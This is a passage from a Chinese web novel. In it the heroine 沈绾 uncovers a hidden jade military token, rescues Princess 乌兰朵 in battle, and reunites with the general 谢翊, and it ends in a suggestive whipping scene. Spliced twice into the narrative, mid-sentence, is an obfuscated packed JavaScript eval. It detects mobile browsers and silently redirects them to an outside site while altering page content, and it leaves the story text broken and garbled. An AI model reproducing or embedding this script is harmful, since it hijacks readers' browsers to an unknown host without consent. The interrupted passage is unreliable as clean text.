后来我思来想去,还是决定过来碰碰运气。原本还担心会不会被朝廷官兵发现,没想到还没到渝州城下,就听说有起义军已经攻破了渝州城。我绕过官道,偷偷给城里送了封信,没想到那个叫李大山的首领竟亲自出城迎接,说大胤帝姬给他们送来了救星。” 听沈葭讲述完,沈绾陷入沉思,那伙神秘人的身份实在可疑。她总感觉,眼下发生的一切仿佛有人在偷偷布局。 “城中情况怎么样了?疫病控制住了吗?” “你呀,”沈葭叹了口气,空洞的眼珠满是无奈,“都虚弱成这个样子,还操心这么多。放心吧,都控制住了,你请来的那位老先生医术远在我之上,城里情况不算复杂,加上又有军队相助,局面很容易稳住。” “那就好……”沈绾这才松了口气。 视线蓦然一转,发现床头案边放着自己那枚紫金镯,只是有一角似乎裂了道口子。 随手拿起镯子,这才发现那道裂口不算小,白璧有瑕,总是遗憾。 沈葭察觉到妹妹低落的情绪,安慰道:“你从马上摔下来,镯子难免会磕碰到,回头咱们找个金匠好好修一修,还和原来一样。” 沈绾眼睫眨了眨,手指细细摸过裂缝,眸底蓦然一亮。 那中间镶嵌的红珊瑚下面似乎嵌着什么暗格,指尖轻轻一拨,一块类似机关卡锁的东西弹出,一枚玉符赫然出现在眼前。 这块玉符约莫有三个拇指盖大小,通体翠玉,上面刻着繁复的图文。 沈绾心中惊叹,没想到这枚紫金镯子里竟暗藏玄机! 若不是意外摔出裂纹,这般精妙的机关锁,她怕是很难发现其中关窍。 谢翊这狗男人,送她镯子还神神秘秘往里藏东西,还藏的这么隐蔽,到底是想让她发现,还是不想让她发现? “怎么了?”察觉到沈绾沉默,沈葭疑惑问道。 “没什么,”沈绾将玉符重新放回去,合上卡锁,“一块镯子罢了,坏了便坏了。” “阿鸾,你……”沈葭抿了抿唇,轻声开口,“朝野都道谢翊坠崖身死,你……可曾想过他?” 沈绾脑中蓦然浮现出花墙下那炙热强烈的纠缠,面颊一红,忿忿道:“有什么可想的,他当初不辞而别,是死是活,跟我有什关系?” 沈葭眼睑轻垂,“许是他当日听到了一些伤心话,想着早晚要散,不如早早少些牵扯。” 沈绾一怔,牵扯吗? 她可以确定的是,谢翊根本没死,可是过了这么久,他为什么迟迟不肯露面?是真的想与自己一别两宽?再无牵扯?还是…… 想起那日男人的轻薄,沈绾又觉得,这般死缠烂打阴魂不散的男人,应该没那么容易放弃。 “不说这些了,”沈绾挥挥手,脸上重又浮起生机,“咱们出去走走,看看城中百姓怎么样。” ** 时光匆匆,转眼已是半月。 在沈葭和老医师的共同努力下,渝州城的灾情基本控制住。沈绾因心中记挂着商队,打算择日便回西桓。 这日,李大山亲自设宴,邀众人同聚一席。 “想不到姑娘年纪轻轻,医术竟如此了得。”维察尔捋了捋胡须,满脸欣赏看向沈葭,“听沈姑娘说,她那枚香囊里的草药是你配制的?当真是奇思,老夫自愧不如。” “老先生谬赞了,”沈葭温声道,“您的医术才真是精湛,况且您不计嫌隙,愿意同我妹妹不远千里来中原治病救人,足可见先生胸襟。” “这话说的是,”李大山举杯道,“世人都道中原拓摩两族乃是宿敌,可不曾想,先生大义,愿打破两族隔阂、世俗之见,施以医术,这般博大无私,实在令人敬佩,李某在此敬先生!” 维察尔忙起身还礼,“李首领过奖了,老夫身为医者,本就以治病救人为使命,在老夫眼里,天下苍生皆平等,各族间的互相倾轧、残杀,是我最不愿看到的。但愿有朝一日,各族可以和谐共处,实现天下一家。” “先生所言,也是我心所愿。”沈绾赞同道,“天下纷争不息,受苦的还是各族百姓,如果有一日各族能互通互融,团结共建,那才是天下万民之幸。” 李大山慨叹道:“今日一切,还是要感谢姑娘,无论是当日的救命之恩,还是今日种种,我李大山没齿难忘。既然你唤我一声大哥,那我便视你为义妹,今日这场薄宴,就当是我为你和先生践行,无论以后在何时何地,只要义妹需要,我‘红巾军’定誓死相随!” 周岭在旁激昂附和:“没错,誓死相随,永不背弃!” 沈绾心潮澎湃,举杯起身:“多谢义兄!” ** 几日后,沈绾同维察尔再次回到西桓。 因沈葭身子弱,不宜长途跋涉,况且再过两月便要入冬,西北天气寒冷,沈绾便建议沈葭留在李大山营中,日后也好有个照应。 古伊顿的商队早已恢复元气,当晚大办接风宴,众人又是热热闹闹闹了一宿。 次日清晨,古伊顿还未出帐,就见沈绾遥遥走来。 “姑娘一大早,怎么有空到我这来?今日没去马场?”古伊顿把人迎进来,笑着招呼。 “待会就去,”沈绾含笑应着,“古老板,今早前来,是有件东西烦请您看看。”说着从怀里掏出枚玉符,“我不太懂北疆文字,您帮我看看,这上面刻着的是什么意思?” 古伊顿接过玉符,眯着眼瞅了半晌,又抬眼看了看沈绾,“这是拓摩文字,正面写的是个‘令’字,反面是个‘烈’字。” “姑娘,这东西你是从哪弄来的?”古伊顿眼尾半挑,来了精神。 “怎么,这东西有问题?”沈绾反问道。 “那倒不是,”古伊顿摩挲着下巴,“姑娘不觉得这东西与其说像枚玉佩,其实更像是枚兵符?” “兵符?”沈绾长睫一抬。 “不错,这玉的材质非同一般,普通刀枪在上面根本无法留痕,更不会轻易损坏,且这‘令’字本就是军令帅印上常有的文字,姑娘细想,这样一枚刻有特殊字样的玉符,能用来做什么?” “你的意思是……调兵遣将?”沈绾指尖轻抚边缘,最后落在那个“烈”字上,“那你倒是说说,这能调哪支兵,遣哪方将?” 古伊顿思索道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297308|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我倒是听说漠云十二州以北,有一支神秘的军队,他们如同北疆战狼,战力一流,长年潜伏在各处,只要有统一号令的信物,便可将他们集于麾下。” “古老板果真见多识广。”沈绾勾了勾唇,继而晃了晃手中玉符,眉间神色一转,好整以暇道:“那不知这枚玉符的主人可曾告知古老板,我到底该如何使用此物?” “这……”古伊顿咋舌,意识到自己失言,敦厚的脸上浮起一丝尴尬,“这我倒是不知……” “是吗?”沈绾拈起玉符轻扣桌角,气定神闲,“是古老板不知道,还是觉得一旦说多了,就会不小心暴露出什么?这般用心良苦,我真不知该如何感谢您才好。” “姑娘在说什么?我听不明白。”沈绾的目光太过犀利,古伊顿视线不由躲闪。 沈绾唇角微勾,扯出一抹浅笑,“我与古老板到底是有缘分,坠落悬崖正好不偏不倚被您救下;明明身中药物,却在一场又一场睡梦中悄然化解;即便赶赴渝州,也有人早在千里之外得到消息,甚至促使了我与家姐的相遇……这一切的一切,是古老板的心思,还是您背后之人的心思? 这,难道不是用心良苦?” 沈绾字字犀利,古伊顿听得愈发紧绷,喉咙艰涩:“姑娘你……都知道了?” 沈绾舒了口气,不置可否。 这段日子以来的种种,其实处处有迹可循。 如果说开始只是时真时幻的梦境,那后来古伊顿的帮助、恰如其分的面具、花墙下的触感,以及沈葭口中的神秘人,每一处,都足以指明真相。 更何况,玉符上那眼熟到再也无法掩饰的图纹,与当初谢翊给她的描金骨牌一模一样,那是独属于他的印记,世间无人可替。 “他在哪?”沈绾声音无波无澜。 古伊顿犯了难,“这个我真不知道,之前每次都是将军主动与我联系,他行踪不定,我是真的不清楚。” 沈绾见他这副样子,也不再深究。 谢翊这个人城府极深,当初一个坠崖就能瞒过朝廷所有人,现在若不是他自己主动暴露,她也猜不出真相。 这回他若有意躲着自己,她定是怎么也找不到人。 二人正说着,外面有伙计敲响了门。 “东家,”伙计见沈绾也在,打了声招呼,面上是掩不住的喜色,“今早刚接到消息,上回那位大户,这回又要了五百匹战马,订金都送来了。” “五百匹?”古伊顿脸上不由露出讶异。 “这是怎么回事?”沈绾问。 “哦,”古伊顿接过伙计递来的账单,缓声解释,“前两日我们接到一笔生意,有人从我们这定了三百匹战马,还预先支付了订金。商队出事这些日子,许多生意都被对家抢去,加上每日银子流水似的往外出,根本入不敷出,眼看就要垮掉,没想到突然出现位大客,还点名要我们的马匹,这才过了两日,今日又来照顾生意,真是天降的财神爷啊。” 沈绾疑窦未消,试探道:“这难道不是您背后那位主子的出手相助?” “嗐,姑娘多心了。”古伊顿摆摆手,“这回还真不是,你还没回来之前,我还在愁要不要接这笔单子,那么多匹马也不知能不能按时交货。现在好了,姑娘你回来了,咱们不仅可以放心做生意,还可以会一会这位财神爷。” “这话怎么说?” “对方对我们提供的战马很满意,这可是一个极好的开局。” 古伊顿颇有心得说着自己的生意经,“与客人建立信任的第一步,就是让对方树立起好感,接下来只要我们及时配合、适度沟通,建立起稳定良好的关系,就不怕以后做不到生意。” “那您的意思是……” “明日约他们见见,这么多匹马,总得详细谈谈要求和价格。”古伊顿眸光熠熠,瞥向沈绾,“何况,他们可是点名想见姑娘呢。” 58. 第五十八章 金鳞开 “见我?”沈绾难免感到意外。 “是啊,姑娘这第一驯马师的名头可是名扬千里了。”古伊顿竖起拇指,“人家要买我们的马,自然也想见见这背后驯马之人。” …… 双方约定的时间即在三日后。 这日秋高气爽、碧空如洗。 一队步伐整齐的队伍齐齐排列开,守卫在营帐两侧。 沈绾由一名随从引着,穿过守卫夹道。她心中难免好奇,不知这位客人是什么来头,这般架势威严,足具震慑力,说是某位部族领袖驾临也不为过。 对方指明要见驯马师,故而古伊顿今日并未跟来。 帐帘挑起,沈绾一直微垂的眼角轻轻上扬,余光所及处,一抹挺拔红衣立在书案前,不知低头凝神看着什么。 “客人既然来了,还不快请进来。” 清越舒朗的声音一如往昔,沈绾眼睫一定,方才有些紧绷的心瞬间落了下来,唇角不觉弯起弧度,“进公主的门,自然不能失了规矩。” 乌兰朵搁笔抬头,即便沈绾脸上戴着面具,可她还是一眼认出面具下的眼睛。 “许久未见,我与沈姑娘几时变得这么生分了?” 帐内寂静,沈绾含笑上前几步,也不装模作样,随手揭下面具,“上次一别,没想到还能再见到公主。” “坐下说,”乌兰朵弯了弯眼角,抬手示意,给沈绾沏了杯热茶,“我也没有想到,西桓新崛起的一支马队,竟会是沈姑娘的杰作。” 沈绾在茶桌旁坐定,双手捧住杯沿,凝眸望去:眼前女子依旧明艳,只是面容添了几许风霜,倒少了几分小女儿家的情态,多了几分上位者的沉稳。 “世事无常,想必公主同我一样,这段日子以来,都经历不少。” 沈绾意有所指,乌兰朵苦笑,眼底浮起一层暗色,“当日离京一别,再回来,已是物是人非。” 沈绾好奇问道:“公主为何找我们买这么多马匹?” 乌兰朵顿了顿,红唇轻吐:“为了自保。” 她叹了口气,说道:“长姐崩逝、将军府查封、丞相幽禁、父王病逝……这段日子以来发生太多事。沈姑娘就不曾想过,这一切,到底是天意,还是人为?” 沈绾眼角一跳,“公主此话何意?” 乌兰朵唇线紧抿,眸光深邃,“当初我父王之所以愿追随耶齐格,除了我阿姐这层姻亲关系,更是考虑到东厥一族的将来。那时我们不愿再受胤人欺压,而拓摩恰好有身先士卒的勇气,我父王也就自愿跟随,唯愿东厥能安稳立世。 可不曾想,是我父王看走了眼,耶齐格此人不仅薄情寡义,更加冷血无情,我恨不能抽他的筋,剥他的骨!” 乌兰朵敛下眼底暗火,舒了口气,“我向来知道联姻并非能得真心,可我阿姐嫁与拓摩这么些年,一直尽心辅佐,努力当好拓摩王妃,后来她成了皇后,也从没有忘记过她的使命,甚至祈求牺牲一切,也要为耶齐格平安诞下孩子。 我以为耶齐格看在与阿姐多年的情分,即便没有真心也总会抱有歉意,给彼此留下最后的尊重和体面。可就在我阿姐快要临盆前一个月,他竟欢欢喜喜纳了新妃,阿姐难受得死去活来的时候,他却不闻不问,只顾和美人作乐。 世人都说耶齐格有多么重视阿姐和孩子,可那只不过是男人的虚荣心在做祟。我回京后才知道,阿姐出事时,那个叫花月姬的美人也在场。宫里人都说是那个叫凌娩的贵妃做的手脚,可我始终不信。一个真正想要做坏事的人不可能选择那么笨的方法,留下那么明显的马脚。 阿姐在世时,我见过那位凌贵妃,她虽有些心机,可算不上恶毒,所以我更加怀疑是有人栽赃。后来我仔细盘问过事发时的太监宫娥,他们竟全都一口咬死,可越是这样,事情就越是可疑。即便如此,耶齐格也从未想过彻查,甚至不许宫中有任何关于此事的议论,只一味沉溺进他的温柔乡中。 我得知花月姬当初是耶齐雷进献后,就沿着这条线索查下去,直到有一天,我的探子从西桓得到一个消息,说耶齐雷曾在西桓购买过多名女奴,私下进行训练,其中有一位容貌极为出色,且武艺极高,后被送入皇宫。 耶齐雷将这样一个美人送到耶齐格身边,这背后藏着什么心思,不得而知。” 听乌兰朵叙叙说完,沈绾眉心微拢:“自古以来,皇族中兄弟阋墙之因皆为王权争夺,你怀疑耶齐雷布下美人计,是为了……夺位?” “这个暂时还不知道,”乌兰朵摇头,“我只知道,耶齐格极为宠爱花月姬,甚至在阿姐死后没多久,就动了立后的心思。” 沈绾吃了一惊:“立后涉及国本,耶齐格即便有这样的心思,也得顾及各方势力。” “话虽如此,可耶齐格不知中了什么蛊,竟将朝中反对立新后之人或贬斥、或幽禁。”乌兰朵眼角渐渐染上悲戚,“就连我父王,也是因此怒火攻心,引得旧病复发,在病床上躺了半月,就……走了。” 沈绾骇然,原来东厥王的死是这个原因。 “可事情还远远不止于此。”乌兰朵放在桌案上的拳头渐渐握紧,“耶齐格狼子野心,见我父王身死,东厥群龙无首,就起了吞并的心思。” “吞并?” 乌兰朵定定道:“他们想将东厥完全侵占,成为拓摩,或者说大靖完全的领土。” 她下颌紧咬,“我东厥一族世代居于北疆,多年来族人重武,也只是为了免受他族欺侮,自然有自己的傲气。可耶齐格野心勃勃,想要将我东厥一族彻底变为他的奴隶,我如今身为东厥之主,自是要和他抗争到底!” 沈绾了然:“原来这才是公主招兵买马的真实用意。” “不错,若要买到上等战马,西桓的商队无疑是最佳选择,我也是经过多番打听,才选择了你们。” 沈绾眉尖微挑:“我们到底是哪点吸引了公主?” 乌兰朵转头回望过去,嘴角轻勾:“你啊。” “什么?”沈绾一怔。 乌兰朵负手而立,徐徐道:“西桓提供马匹的商队不少,可值得信任的却不多。比方说你们老板的对家,我曾派人打听过,他们虽也有优良战马,可做的却是大生意,不缺我这一笔买卖,而刚刚恢复元气的小商队,说不定更合我的胃口。 况且……他们的驯马师还是一个来自中原的神秘女子。我见过你在御马司驯出的马,水平堪称一流,找一个这样的合作伙伴,总是令人安心许多。” 沈绾很快抓住重点:“大生意?” “怎么,你不知道?”乌兰朵一字一顿道:“你们对家可做着两头生意,一头供着朝廷,另一头——供着南胤。” 沈绾心头一惊,看来金万全背后果然不简单。当初既然连圣旨都没有杀死他,那朝中定然少不了耶齐雷的运作,只是没想到他居然也和南胤有勾结,真是胃口不小! 沈绾站起身,正色道:“公主放心,今日我们既做了您的生意,自然秉持诚信二字,八百匹战马五日后便会送达,保证个个身强体健,杀敌破万。” “杀敌破万?”乌兰朵双手抱前,翘了翘眉梢,“那就借你吉言了。” ** 乌兰朵远未想到,五日之期还未至,敌军已经兵临城下。 耶齐格的动作竟如此之快! 黑压压的士兵从远处逼至,乌兰朵领兵立于高台,临风紧握住手中长刀,战事一触即燃。 “砰——” 撞击声如同阎王擂鼓,是敌军在破城门。 乌兰朵身披战甲,牵过缰绳跃马而上,刀刃寒光骤现,直指城下,“东厥的将士们!今日一战,关系我族存亡,我以新任东厥王之名号令,随我出城杀敌!” “冲啊!” 将士的嘶喊声震破天际,霎时间,城上乱石空掷,羽箭齐飞,城下兵刃交错,血色如雾。 拓摩兵显然是有备而来,一拨接一拨士兵前赴后继,挥起砍刀毫不留情,大有不破城门誓不罢休的架势。 乌兰朵的衣角很快被血污浸染,铁盔也被刀剑砍击数次,已是痕迹斑斑,就连高束的长发也因战斗而显得狼狈凌乱。 两方势力悬殊,眼看东厥军节节败退,一将士背抵城门,嘶声道:“公主,快守不住了!” “那也要守!”乌兰朵怒喝,随即手起刀落,斩杀下一名上前攻击的敌将。刺目的红落在脸颊,血液顺着下颌很快蜿蜒至领口。 她眼尾猩红,即便自己胜算已无,也还是要战斗到最后一刻。 她是东厥的王,她的背后是千千万万的东厥子民,她不可以倒下,即便是战死,也要为他们闯出一条路! 力气仿佛在渐渐消失,脚步开始变得虚浮,就连挥刀的动作都在变缓。 周围将士一个接一个倒下,漫天风沙吹得她眼底生疼。忽而脚下一个踉跄,乌兰朵下意识用刀尖撑地,支住精疲力竭的身子。 真的没机会了吗? 真的要失败了吗? 一声声叩问落下,愤恨、不甘、悔恨、自责……无数情绪瞬间涌上心头。 她骄傲一世,没曾想东厥会毁在自己手里…… 不,她不甘心! 东厥公主,即便是死,也要死得有尊严。 她早已杀红了眼,眼看敌军步步紧逼,咬牙调起全身最后一丝力气,挥刀欲砍,准备做最后搏杀。 “嗖——”一杆长枪划过长空,猝不及防没入敌军胸口。 乌兰朵手中的刀一顿,还未来及反应,数支羽箭如火石流星,接连从后颈刺穿几名敌军咽喉。 迷蒙的视线稍一停滞,继而抬起,只见前方狼烟处,沈绾身骑烈马,飞奔而来,而她身后,竟现出一线黑潮。 这片黑色如决堤洪流,穿过漫天风沙,以一种极其冷酷而精准的节奏驶来。 哪里来的骑兵?! 乌兰朵错愕了。 这群由远及近的军队由沈绾领着,整肃而来。没有呐喊,没有号角,唯有奔腾时整齐划一的马蹄声,沉重得令人心悸。 “公主,你要的马,我给你送来了!”沈绾纵马飞驰,猎猎冷风扬起她身下衣摆。 这一刻,乌兰朵恍惚觉得,如果这世上真的有救世主,也莫过于此。 不过片刻,她才恍然,原来每位骑兵身下的战马就是沈绾给她送来的东西。 只是她远没有想到,这每一匹竟都是沈绾亲自驯出的汗血马,不仅身手敏捷,就连作战能力也是一流。 再加上整支骑兵训练有素,犹如洪荒巨兽,所过之处,无不人仰马翻、哀嚎齐飞。 不过眨眼间,队伍便如钢铁洪流,迅速击破敌军防线。 “你还好吗?”沈绾趁着间隙跳下马,将乌兰朵护到城中。 “你哪来的军队?” “意外捡的。” “什么?”乌兰朵不敢相信自己耳朵。 沈绾没多解释,眼瞅拓摩军尝试反扑,铁骑迅速变换队形,以迅雷不及掩耳之势打乱敌方布局 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“还不够清楚吗?”贺骁扬了扬手,“鹬蚌相争,渔翁得利。我来实现我们的复国大计啊!” “你这是趁火打劫!” 贺骁冷哼:“公主,你可别忘了,当初大胤亡国,他们东厥可是帮凶!” 沈绾哑然,死死攥紧的手指关节隐隐发颤。 “贺骁,我从来不知世上还有你这般厚颜无耻之人。你有什么脸在这胡乱狂吠!当初若不是你与晋王里应外合,大胤何至于此,若论亡国罪人,你才是第一人!” 沈绾声嘶力竭,字字千钧,贺骁被骂得渐沉下脸。 一抹阴冷浮上唇角:“公主既然执迷不悟,那我也不用客气了。” “杀!” 一声令下,铁甲攻城,定北军的战力远远超出沈绾预料,只听“轰”地一声,城门被撞开。 冰冷而强大的生力军如驱雷鸣,彻骨寒意瞬间攫取心脏。 残存的东厥军本就体力不支,而沈绾带来的战士与对方数量悬殊,很快陷入苦斗。 贺骁手提利剑一步步登上城墙,铁靴落在砖地上,发出噔噔声响。 乌兰朵握紧刀柄,果断将沈绾护在身后。 “你想做什么?”乌兰朵目露凶光。 贺骁的脸落在残阳里,被切割成明暗两块,衬得嘴角弧度越发可怖,冷冷望向沈绾,“公主,你本来就是我的,当日在葪州城外没能把你带走,今天,你注定逃不掉。” “放肆!”乌兰朵足尖点地,劈刀而下。 可贺骁早有防备,反手作挡,挥剑猛地一挑,乌兰朵扑了空,旋即被两旁士兵钳住。 电光火石间,忽听空中传来一声唳啸。 海东青如闪电俯冲而下,那速度和力道太快太猛,让人躲闪不及。即便贺骁反应迅速,抬臂击挡,可锋利的尖喙还是划破右臂,皮肉绽开,血液如同开闸的洪流,瞬间流满整只手臂。 “啊——”剧烈的疼痛肆意蔓延,贺骁面目狰狞,嘶声咒骂,飞身上前一把掐住沈绾。 尚未受伤的左臂暴起青筋,沈绾被他提到半空,像只被钳住的小鸟堪堪坠在城墙边缘,只要脖子上的力道稍稍一松,她便会万劫不复。 “为什么?”贺骁眼眶充血,“我们曾经都定了亲事,你为什么要这样对我?” “放、放开……” 贺骁状若癫狂,在风中呓语:“既然你不识抬举,那就去死好了!” 脖颈倏尔一松,沈绾感到一阵失重,再无支撑的身子迅即下落。城墙数丈,足以致命。 视线里的景象急速滑落,耳边只剩下寒凉呼啸的风声。 真的要死了吗? 不,她不能死! 身体倏尔触到什么硬物,却不似地面冰冷。 沈绾下意识抬眼,心头一震。 男人刀削斧凿的侧脸冷峻无畴,同每回梦中出现的别无二致,只是此刻他的怀抱温暖又真实,再也不是一触即破的幻影。 “阿翊……” 沈绾头一回知道,原来一个人心脏的跳动声可以这么清晰,清晰到根本无法掩藏。她仿佛又看到当年那个为她奋不顾身的小影卫,不由失神低唤。 “嗯,我在。”谢翊轻声应着,极尽温柔,手臂紧了紧,仿佛是在抱着什么失而复得的宝贝,小心翼翼。 “阿鸾,我来迟了。” 59. 第五十九章 画堂春 低沉的声音落在风里,很快消融无痕,可晦暗的眼底难掩心疼与后怕。 刚才看到她从城墙摔落,他的心都快从喉咙里跳出来。 她要是出了什么事,他不疯了才怪。 谢翊抱着沈绾飘飘落地,刚一站定,脖颈忽然一痛。 小兽张开利齿,在皮肉处狠狠落下一印。 薄唇溢出一声闷哼,“做什么?” 沈绾抿着唇,清眸一眨不眨盯着他,“报复。” 他一声不吭就消失,莫名其妙玩假死,害她担惊受怕这么久,后来还趁她意识不清搞偷袭,被欺瞒这么久,她总得做点什么泄愤。 如果真有利齿,她恨不得咬死这狗男人。 喉间一声低笑,谢翊捋顺她耳边发丝,薄唇凑上前:“既然阿鸾这么有兴致,那我们晚上继续?” 沈绾面上一红,双手忿忿一推,都这种时候,他还有心思跟她调情? “报将军——”一士兵几步上前,拱手禀告:“敌寇皆已伏首。” 沈绾这才回神,只见谢翊身后数万大军如潮水般涌来,每位士兵仿佛都经过精心训练,身手狠辣果决,犹如天降神兵。 贺骁的定北军战力远远不及,铁蹄踏过,他们仿佛被镰刀扫过的麦子,接连倒成一片。 “吁——”一声嘶鸣传来。 贺骁趁其不备,打伤压制住他的士兵,飞身上马。他深知战况不利,须得速退。 谢翊犀利的眼角一眯,旋即踢起脚边掉落的弯刀,抬手握住刀把猛地一掷,刀刃如同箭矢,精准无误地插进贺骁左腿。 下一瞬,马上人重重坠落,发出撕心哀嚎。 “去,把人绑起来,”谢翊回身单手揽住沈绾,长睫轻抬,眼底泛出嗜血杀意,“今日就拿这位定北小王爷祭旗,为我们开路。” ** 暮色渐拢,城墙上高燃的火把照亮一方黑暗,却驱不散贺骁心底的绝望。 他怎么也没想到,战况会在一夕之间逆转,自己的三万大军竟会如此一败涂地。 手臂上的血迹已经干涸,可覆盖在血块下的皮肉却在每一下挣扎中隐隐作痛。 “跪下!”两名士兵低喝,将他死死往下一按。 贺骁双手双脚皆被绑住,根本挣脱不了,膝盖跪地那刻,他猛地抬头,视线正巧与前方男人碰撞。 “是你?!” 贺骁目眦欲裂,难掩震惊。 当日在葪州城外一战,他只觉谢翊眼熟,后来才想起,原来他就是北疆那位赫赫有名的战神。而他们的第一面,早在拓摩与晋王里应外合攻城那日那就见过。 “哈哈哈……”贺骁的目光落在谢翊紧握住沈绾的手,胸腔发出一阵狂笑。 “沈绾,你果真是贱,堂堂大胤帝姬,居然自甘堕落,委身异族。”贺骁笑得癫狂,连称呼都不再伪装,“你父皇如果知道,你和这样一个践踏国土、屠杀胤人、覆灭胤都的刽子手苟合,想必他在地下都不会瞑目!” “住嘴!”沈绾怒斥,“你什么资格评判我?我走到今天这一步,难道不是拜你所赐?” “呵,我和我父王只不过是审时度势,为天下苍生着想,一心想辅佐明君继位,谁知你那个叔父也是个不成气候的,如今还要我白白追随他儿子……” 贺骁怒目直瞪,“而你,竟罔顾血海深仇,自轻自贱,和异族恶鬼为谋,难道就不怕天下人耻笑唾骂?!真是好一个大胤帝姬!胤人的脸都让你丢尽了!” “嗖——”一枚尖刺飞镖嵌入肩胛,立刻堵住咒骂,贺骁顿时痛得面容扭曲。 谢翊面若寒冰,冷冷开口:“你嘴里如果再吐出一句不干不净的话,我会让你知道,什么叫真正的恶鬼地狱。” 乌兰朵嚯地站起身,一脚踩在贺骁肩膀,“说,今日你率兵攻打我东厥,是为了什么?” “我乃大胤旧部,剿灭异族、光复大胤乃是使命。” “呸!”乌兰朵啐骂,振振道:“你当我是傻子?三万大军不是小数,你率兵从南边过来不可能悄无声息,拓摩朝廷更不可能没有一丝察觉。 我还纳闷,刚打完拓摩兵,你们就恰好出现,所谓螳螂捕蝉,黄雀在后,你这只黄雀到底是从哪飞来的?” 被踩的伤口不住往外渗血,贺骁咬牙倒抽了口凉气,缄口不答。 乌兰朵用足尖碾了碾,见贺骁硬得像石头,眼尾狡黠一眨,抬眸看向谢翊,“既然他不肯说,那烈将军这只在背后观测一切的老雀来说说吧?” 谢翊眼角一抽。 什么老雀?乌兰朵这丫头果真没多少墨水,尽用些乱七八糟的词。 “是啊,我也很想听听。”沈绾转头凝视过去。 依她对谢翊的了解,他定是早早看出贺骁的打算,有备而来,只是不知道这背后,他到底谋划了多少。 谢翊被二人看得浑身不适,无奈道:“我是听说朝廷有攻打东厥的意向,所以才会过来,后来半路得知另有一支南胤军队在悄悄行进,这才一路跟过来。” “原来那天集市上的匪徒,是你……”贺骁瞠目。 “集市?”沈绾讶异回头。 谢翊唔了声,“没错,那天你去集市买马,他的人就已经发现了你。” 沈绾不由想起那日在集市上撞见的络腮胡大汉,怪不得觉得眼熟,原来是贺骁的人。 “所以……”乌兰朵抽出匕首,抵在贺骁喉头,“你是知道沈绾的踪迹,也知道拓摩朝廷的计划,想趁机捡个便宜?不管最后是哪一方侥幸获胜,你都可以趁军队疲惫之际趁虚而入?” 刀刃刺入皮肉,渗出洇洇血痕,贺骁面颊抽搐,显然被乌兰朵的威吓震住。 “都这个时候了,你到底想隐瞒什么。”沈绾挑了挑眉,气定神闲道,“既然你不肯说,那我权且来猜上一猜。 她站起身,悠悠上前踱步,“正如方才乌兰朵所说,你率三万大军从南胤来东厥,不管走哪条路,都难免会引起注意。若是沿西一路北上,必然会引起西南红巾军的注意,恰巧前些日子我刚从那里回来,他们那里根本没有动静。若是你沿东北上,就逃不过拓摩朝廷的注意,可事实是,拓摩根本不知道你的出现,而你显然也不是和朝廷一条战线。这件事怎么想都很可疑,可却总归有一个答案——” 顿了顿,清眸一凝,“那就是,你和朝中某位幕后者联手,想从中捡个大便宜,而此人有着足以可以帮你遮掩住军队力量的能力。” 贺骁瞳仁猛地一缩,颊边肌肉抽动得越发厉害。 “看来,我猜对了?”秀长的眉梢一翘。 贺骁不置可否,沈绾也不指望从他那里获得什么答案,回身望向谢翊。 “将军要不要猜一猜,这个人会是谁?” “阿鸾以为是谁?”谢翊迎上她的目光,颇为玩味。 乌兰朵在旁看不惯他们打哑谜,脱口而出:“是耶齐雷?” 沈绾凝了凝眉,似乎并不满意这个答案,虽说上次她们分析过,耶齐雷的确有夺位的意向,可勾结定北军这件事又实在没道理可言。 即便他想要东厥,也完全可以等朝廷大胜而归,自己登上帝位后完全掌控,没必要借贺骁之手。 “你到底说不说!”乌兰朵没了耐心,刀刃又往里深了几分。 “且慢!”沈绾忙出声劝阻。 谢翊被这声焦急喊得眉心一抽,不动神色望向沈绾,“怎么,阿鸾舍不得你的未婚夫婿?” “什么?”沈绾不明所以,搞不懂这男人发什么神经。 顿了顿,朝乌兰朵解释:“贺骁此人胸量狭小、偏激固执,他现在恼羞成怒,我们问什么他都不会说,依我看先关他两天,等他冷静下来再慢慢审问。” 乌兰朵想了想,没什么异议,遂吩咐士兵把人带下去关押。 一众残军收拾完毕,乌兰朵放心不下,又亲自率人掩埋去战死将 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烛火在纱罩里轻轻跳动,照出她虽显憔悴却依旧清艳的面容,谢翊看得心里直痒痒,可面上却强忍着。 他小心翼翼上前几步,还未等沈绾发话,径直在她面前跪了下去。 “你、你这是做什么?”沈绾没料到他做出这番举动,羽睫一颤。 谢翊挺直腰背,沉默垂着头,继而缓缓解开上衣,布料滑过腰腹,露出纹理清晰的薄肌。 他的身材极好,既不失少年人的清健,也不失成熟男人的紧实。 沈绾即便早已见过,可当下赤裸裸映在眼里,还是忍不住默默感叹。 谢翊不知从哪里抽出一条鞭子,抬手递上。 许是窗外起了风,透过窗隙流进的空气将烛光揉碎,在他肌理分明的身体投下流金光痕。 这场景,这模样,活像等待被主人训诫的小狗,艳丽淫/靡,勾人犯罪。 沈绾似乎明白了他的意图,只迟疑片刻,起身接过鞭子在手里来回摩挲。 皮鞭擦过下颌,挑起他清俊无双的脸。沈绾居高临下,俯身望向他,轻笑:“将军是在做什么?” 谢翊沿着皮鞭往上,缓缓握住她的手指,指腹擦过她每一寸皮肤,所过之处,火苗尽燃。 “阿鸾不是说要报复?”清冽的眸子直望回去,仿佛能直达心底,“对你,我予取予求。” 沈绾唇角扯了扯,清润眼底浮起一层暗光,旋即抬手,随着清脆一声鞭响,一道红痕鲜明落在皮肉上。 “啪——”又一道鞭风劈开空气。 男人肩胛肌肉骤然收缩,腰背却挺得笔直。锁骨随着呼吸起伏,堪称完美的肩线随着缩动的肌肉愈发绷紧。 